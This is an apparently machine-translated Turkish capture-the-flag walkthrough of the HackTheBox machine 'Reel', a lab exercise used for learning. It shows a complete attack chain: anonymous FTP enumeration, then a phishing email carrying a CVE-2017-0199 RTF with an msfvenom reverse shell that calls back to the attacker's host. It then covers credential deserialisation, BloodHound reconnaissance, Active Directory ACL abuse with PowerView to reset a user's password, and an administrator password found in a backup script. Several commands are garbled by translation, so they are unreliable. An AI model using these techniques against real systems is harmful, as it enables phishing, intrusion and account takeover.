Reel HackTheBox Rehberi

 

Reel HackTheBox Rehberi

Özet

Reel bir Windows Active Directory makinesidir ve HTB'de sert bir kutu olarak kabul edilir. Bu kutu, diğer kutularda nadiren bulunan bir kimlik avı senaryosu sunarak benzersizliğiyle öne çıkar. FTP hizmetinin numaralandırılmasıyla başlayarak, bir kullanıcının e-posta adresini ortaya çıkaran bazı dosyalar bulunur. Bundan sonra bir kimlik avı e-postası gönderilir, böylece eke tıklandığında ilk erişim elde edilir. İlk erişimden sonra ayrıcalık yükseltme kısmı, Active Directory altyapısındaki hakların kötüye kullanılması yoluyla yapılır.

İçindekiler

  • Sayım
  • İlk Erişim
  • Yanal Hareket 1 (nico'dan tom'a)
  • Yanal Hareket 2 (Tom'dan Claire'e)
  • Ayrıcalık Yükseltmesi (claire'den yöneticiye)

Sayım

Port ve servis taramasıyla numaralandırmaya başlama:

nmap -sV -sC 10.129 . 228 . 124

Varsayılan betik taramasının önerdiği gibi, 21 numaralı portta Anonymous FTP oturum açmaya izin veriliyor . Bu nedenle, FTP'ye Anonymous :: Anonymous olarak oturum açın. Oturum açtıktan sonra, AppLocker.docx , readme.txt ve Windows Event Forwarding.docx adlı 3 dosyadan oluşan bir Documents dizini olduğu görülebilir . Bu dosyaları yerel olarak indirdikten sonra daha fazla bilgi edinilebilir.

ftp10.129.228.124
cd belgeleri
ls
AppLocker'ı edinin.docx
readme.txt dosyasını al
"Windows Olay Yönlendirme.docx" dosyasını alın

Şimdi readme.txt dosyasının içeriğini okuyalım .

kedi beni oku.txt

Yukarıda gösterildiği gibi readme.txt dosyası rtf format prosedürleriyle ilgili bir iletişim içeriyor . Belgenin belirli format dosyasını e-postayla göndermeyi istediği anlaşılıyor. “ Windows Event Forwarding.docx ” dosyası bir belge dosyasıdır ve çoğu durumda, daha sonra oturum açmak/e-posta göndermek için meşru bir kullanıcı adı olarak kullanılabilen yaratıcı adını içerir.

Creator adını kontrol etmek için exiftool'u şu komutla kullanabilirsiniz:

exiftool "Windows Olay Yönlendirme.docx"

İlk Erişim

Görülen Creator adı nico@megabank.com'dur Hatırlarsak , readme.txt dosyası bir rtf dosyasını e-posta adresine e-postayla göndermekten bahsediyordu . Kötü amaçlı bir rtf dosyasını ek olarak e-postayla göndermeyi deneyebiliriz, böylece kullanıcı bunu işlerse ters kabuğu elde edebilmeliyiz.

İlk olarak, elde edilen e-posta kimliğine bir e-posta gönderip gönderemeyeceğimizi kontrol edebiliriz. Bunu yapmak için iletişim kurmak ve e-postanın alındığına dair bir onay almak için telnet kullanıyoruz.

telnet 10.129.228.12425

Hedef e-posta doğrulandıktan sonra, kurbana gönderilecek .rtf dosyasını oluşturma zamanı gelir. RTF dosyaları oldukça çok yönlüdür ve çok çeşitli kelime işleme yazılımları tarafından desteklenir, bu da belgeleri farklı platformlar ve uygulamalar arasında paylaşma konusunda popülerliklerini artırır. Temelde düz metin belgeleri olan bu dosyalara Microsoft Word, Google Docs ve LibreOffice dahil olmak üzere çok sayıda kelime işlemcisi kullanılarak erişilebilir ve bunlar değiştirilebilir.

Burada .rtf dosyası oluşturmak için kullanılabilecek bir araç takımı betiği var . Betik buradan indirilebilir ( https://github.com/bhdresh/CVE-2017-0199.git ).

Exploit kullanımına göre scriptin bir sunucuda barındırılması gereken bir .hta dosyası veya .doc dosyası olması gerekiyor, böylece exploit .hta dosyasını kullanarak bir .rtf dosyası üretebiliyor.

.hta dosyası oluşturmak için msfvenom aşağıdaki komutla kullanılabilir:

msfvenom -p windows/shell_reverse_tcp lhost= 10.10 . 14 . 117 lport= 443 -f hta-psh -o dosya.hta

file.hta dosyası oluşturulduktan sonra dosyayı barındırmak için 80 numaralı porttan yerel olarak bir sunucu başlatılabilir.

yukarı köpek -p 80

Artık exploit, .rtf dosyasını oluşturmak için aşağıdaki komutla kullanılabilir:

python2 cve- 2017 -0199_toolkit.py -M gen -w raj.rtf -u http: //10.10.14.117/file.hta -t RTF -x 0

sendEmail aracı Kali Linux içerisinde hedef mail id'sine (yani nico@megabank.com) e -posta göndermek için kullanılabilir ve raj.rtf dosyası ek olarak kullanılabilir.

Bu e-postayı göndermeden önce msfvenom yükümüzde belirtildiği gibi 443 numaralı portta netcat dinleyicisini başlatmamız gerekiyor .

nc -lvp 443
sendEmail -f raj@megabank.com -t nico@megabank.com -u "Acil E-posta" -m " Ignite Technologies'e Katılın" -a raj.rtf -s 10.129 . 228 . 124 -v

E-posta gönderildiğinde ve kurban ekteki dosyaya tıkladığında, 443 numaralı portta ters kabuk bağlantısı alıyoruz. Ters kabuk elde edildikten sonra, user.txt bayrağı nico kullanıcısının masaüstünde bulunabilir.

Yanal Hareket 1 (nico'dan tom'a)

Nico kullanıcısı olarak ilk erişimden sonra , kullanıcının masaüstüne bir cred.xml dosyası yerleştirilir. cred.xml dosyasının içeriğini okuduğunuzda , HTB\Tom kullanıcı adı ve serileştirilmiş biçimde bir parola olduğu görülebilir. Serileştirilmiş parolayı oluşturmak için PowerShell'de yerleşik olan bir cmdlet kullanılabilir, yani Import-Clixml . Aşağıdaki komut cred.xml dosya içeriğini serileştirmek için kullanılabilir:

powershell -c "$cred = Import-Clixml -Path cred.xml; $cred.GetNetworkCredential() | Biçim-Listesi *"

Elde edilen deserialize edilmiş şifre 1ts-mag1c!!! .

Artık Tom kullanıcısının şifresini aldıktan sonra ssh kullanarak Tom kullanıcısı olarak giriş yapabiliriz.

ssh tom@ 10.129 . 228 . 124

Yanal Hareket 2 (Tom'dan Claire'e)

Tom kullanıcısı olarak oturum açtıktan sonra , Masaüstünde Bloodhound adında bir dizin ve note.txt adında bir metin dosyası içeren bir AD Denetim klasörü bulunur . note.txt dosyasının içeriğini okuduğunuzda, kullanıcıdan Domain Admin'e hiçbir AD saldırı yolu olmadığını ve denetimin tekrar yapılması gerektiğini belirten bulgular hakkında bir not bulunur.

Bloodhound klasörü içindeki Ingestors dizini eski denetim bulgularını içeriyor gibi görünüyor, bu nedenle sonuçları yakalamak için bloodhound'u hedef sistemde tekrar çalıştırmak daha iyi olacaktır.

Bu nedenle, SharpHound.ps1 betiğini aşağıdaki bağlantıdan indirin: https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1

SharpHound.ps1 dosyasını Kali'den hedef Windows makinesine aktarmak için impacket-smbserver betiğini kullanacağız .

impacket-smbserver paylaşımı $ ( şifre ) -smb2support

Hedef makinede alınan ilk kabuğun içinde, dosyayı almak için aşağıdaki komutu çalıştırın:

kopyala \\ 10.10 . 14 . 117 \share \ SharpHound.ps1

Dosya kopyalandıktan sonra şimdi SharpHound.ps1 modülünü çalıştırıyoruz.

İçe Aktarma Modülü .\ SharpHound.ps1
Invoke-BloodHound -CollectionMethod Tümü

Bloodhound çalıştırıldıktan sonra sonuçlar 20230102182633_BloodHound.zip dosyasında görülebilir .

Bundan dolayı zip dosyasını smb servisini kullanarak aşağıdaki komutla kali makinesine kopyalayabiliriz:

kopyala 20230102182633_BloodHound.zip \\ 10.10 . 14 . 117 \paylaş \

Sonuçları görsel olarak analiz etmek için Bloodhound aracını çalıştıracağız. Ancak önce neo4j sunucusunu şu komutla başlatacağız:

neo4j konsolu

Neo4j servisi başlatıldıktan sonra Bloodhound aracını başlatabiliriz.

tazı

Geçerli kimlik bilgilerinizi kullanarak neo4j veritabanına giriş yapın ve SharHound.ps1 betiği tarafından oluşturulan zip dosyasını yükleyin.

Zip dosyasını yükledikten ve sonuçları analiz ettikten sonra, tom kullanıcısının claire kullanıcısıyla Birinci Derece Nesne Denetimi haklarına sahip olduğu gözlemlendi, bu da tom kullanıcısının claire kullanıcısı üzerinde WriteOwner izinlerine sahip olduğunu gösteriyor. Ve ileride claire kullanıcısının Backup_Admins grubunda WriteDACL izinlerine sahip olduğu da görülebilir . Şimdi PowerView.ps1'i kullanarak ve WriteOwner izinlerini kötüye kullanarak, tom kullanıcısının claire'in ACL'sinin sahibi olabileceği, ACL'de izinler alabileceği ve bu izinleri parolayı sıfırlamak için kullanabileceği görülüyor.

kopyala \\ 10.10 . 14 . 117 \share\ PowerView.ps1
İçe Aktarma Modülü .\ PowerView.ps1
Set-DomainObjectOwner -kimlik claire -SahipKimliği tom
Add-DomainObjectAcl -TargetIdenity claire -PrincipalIdentity tom -Rights ResetPassword
$SecPassword = ConvertTo-SecureString 'Şifre@1 ' -AsPlainText -Force
Etki-AlanıKullanıcıŞifresi Ayarla -kimlik claire -hesapşifresi $SecŞifre

Ayrıcalık Yükseltmesi (claire'den yöneticiye)

Claire'in şifresi sıfırlandıktan sonra ssh kullanarak giriş yapabiliriz:

ssh claire@ 10.129 . 191 . 71

Ve claire'in Backup_Admins grubundaki WriteDACL izinleri nedeniyle, artık claire'i Backup_Admins grubunun bir üyesi olarak ekleyebiliriz.

net grup "Yedekleme_Yöneticileri " claire /ekle /alanadı

Ancak, Yönetici kullanıcısının masaüstüne yerleştirilen root.txt bayrağını hala okuyamıyoruz. Yönetici masaüstünde bazı betiklerden oluşan bir Yedekleme Betikleri dizini var.

Herhangi bir scriptin şifre kelimesini string olarak içerip içermediği kontrol edildiğinde, BackupScript.ps1 scriptinde admin şifresinin Cr4ckMeIfYouC4n! şeklinde olduğu görüldü .

tür * | findstr şifre

Yönetici şifresi alındıktan sonra artık ssh üzerinden yönetici olarak giriş yapıp root.txt bayrağını alabiliriz.

ssh yöneticisi@ 10.129 . 228 . 224

Yorum Gönder

Daha yeni Daha eski